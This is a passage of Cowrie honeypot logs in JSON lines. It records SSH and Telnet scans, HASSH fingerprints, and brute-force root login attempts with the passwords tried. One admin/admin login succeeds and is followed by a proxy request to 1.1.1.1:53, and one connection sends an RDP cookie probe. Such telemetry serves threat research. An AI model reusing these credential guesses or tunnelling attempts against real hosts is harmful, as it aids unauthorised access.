a-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:56.903389Z","src_ip":"108.167.177.203","session":"1735a85193d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nigK0nig@2024","message":"login attempt [root/K0nigK0nig@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:57.038196Z","src_ip":"108.167.177.203","session":"1735a85193d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":34114,"dst_ip":"159.203.135.109","dst_port":22,"session":"920a94cb67f7","protocol":"ssh","message":"New connection: 207.154.230.149:34114 (159.203.135.109:22) [session: 920a94cb67f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:57.735932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:57.741048Z","src_ip":"207.154.230.149","session":"920a94cb67f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:57.832737Z","src_ip":"207.154.230.149","session":"920a94cb67f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:58.066675Z","src_ip":"108.167.177.203","session":"1735a85193d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig@1234","message":"login attempt [root/k0nig@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:58.218349Z","src_ip":"207.154.230.149","session":"920a94cb67f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:53:59.308203Z","src_ip":"207.154.230.149","session":"920a94cb67f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22002,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b8f61411824","protocol":"ssh","message":"New connection: 87.251.64.176:22002 (10.17.0.5:22) [session: 7b8f61411824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:08.274890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:08.279883Z","src_ip":"87.251.64.176","session":"7b8f61411824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:08.376760Z","src_ip":"87.251.64.176","session":"7b8f61411824","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:08.664168Z","src_ip":"87.251.64.176","session":"7b8f61411824","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:08.763658Z","session":"7b8f61411824","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:08.860952Z","src_ip":"87.251.64.176","session":"7b8f61411824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:08.962249Z","src_ip":"87.251.64.176","session":"7b8f61411824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57528,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac87389792c","protocol":"telnet","message":"New connection: 192.119.13.58:57528 (10.17.0.5:23) [session: 5ac87389792c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:14.362405Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":57452,"dst_ip":"159.203.135.109","dst_port":22,"session":"8db18e225a0a","protocol":"ssh","message":"New connection: 163.227.230.54:57452 (159.203.135.109:22) [session: 8db18e225a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:14.630947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:14.634287Z","src_ip":"163.227.230.54","session":"8db18e225a0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:14.882766Z","src_ip":"163.227.230.54","session":"8db18e225a0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":51356,"dst_ip":"159.203.135.109","dst_port":22,"session":"adedc148e656","protocol":"ssh","message":"New connection: 184.94.212.80:51356 (159.203.135.109:22) [session: adedc148e656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:15.116234Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":57574,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bcb7cb8d31a","protocol":"ssh","message":"New connection: 115.178.75.242:57574 (159.203.135.109:22) [session: 5bcb7cb8d31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:15.121682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:15.125907Z","src_ip":"184.94.212.80","session":"adedc148e656","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:15.131701Z","src_ip":"115.178.75.242","session":"5bcb7cb8d31a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:15.190436Z","src_ip":"184.94.212.80","session":"adedc148e656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:15.318928Z","src_ip":"115.178.75.242","session":"5bcb7cb8d31a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nasadmin","message":"login attempt [root/nasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:15.476840Z","src_ip":"184.94.212.80","session":"adedc148e656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqwwee","message":"login attempt [root/qqwwee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:15.910343Z","src_ip":"163.227.230.54","session":"8db18e225a0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johnson","message":"login attempt [root/johnson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:16.084815Z","src_ip":"115.178.75.242","session":"5bcb7cb8d31a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":41232,"dst_ip":"159.203.135.109","dst_port":22,"session":"125583104375","protocol":"ssh","message":"New connection: 101.126.22.12:41232 (159.203.135.109:22) [session: 125583104375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:16.180284Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:16.543586Z","src_ip":"184.94.212.80","session":"adedc148e656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:17.161939Z","src_ip":"163.227.230.54","session":"8db18e225a0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:17.270409Z","src_ip":"115.178.75.242","session":"5bcb7cb8d31a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":60868,"dst_ip":"159.203.135.109","dst_port":22,"session":"644dfb99824f","protocol":"ssh","message":"New connection: 43.153.0.59:60868 (159.203.135.109:22) [session: 644dfb99824f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:18.331195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:18.335618Z","src_ip":"43.153.0.59","session":"644dfb99824f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:18.440095Z","src_ip":"43.153.0.59","session":"644dfb99824f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jacinto","message":"login attempt [root/jacinto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:18.706336Z","src_ip":"43.153.0.59","session":"644dfb99824f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:19.778787Z","src_ip":"43.153.0.59","session":"644dfb99824f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":33824,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7c7e3dd933","protocol":"ssh","message":"New connection: 43.156.237.246:33824 (159.203.135.109:22) [session: 6b7c7e3dd933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:20.190293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:20.194853Z","src_ip":"43.156.237.246","session":"6b7c7e3dd933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55027,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b22e53788c","protocol":"ssh","message":"New connection: 167.172.81.52:55027 (10.17.0.5:22) [session: 31b22e53788c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:20.308588Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:20.314194Z","src_ip":"167.172.81.52","session":"31b22e53788c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:20.318105Z","src_ip":"167.172.81.52","session":"31b22e53788c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:20.439950Z","src_ip":"43.156.237.246","session":"6b7c7e3dd933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tamara123","message":"login attempt [root/tamara123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:21.451972Z","src_ip":"43.156.237.246","session":"6b7c7e3dd933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:22.700312Z","src_ip":"43.156.237.246","session":"6b7c7e3dd933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":39604,"dst_ip":"159.203.135.109","dst_port":22,"session":"adb0b0c25ff0","protocol":"ssh","message":"New connection: 103.153.68.219:39604 (159.203.135.109:22) [session: adb0b0c25ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:54:22.896914Z"}
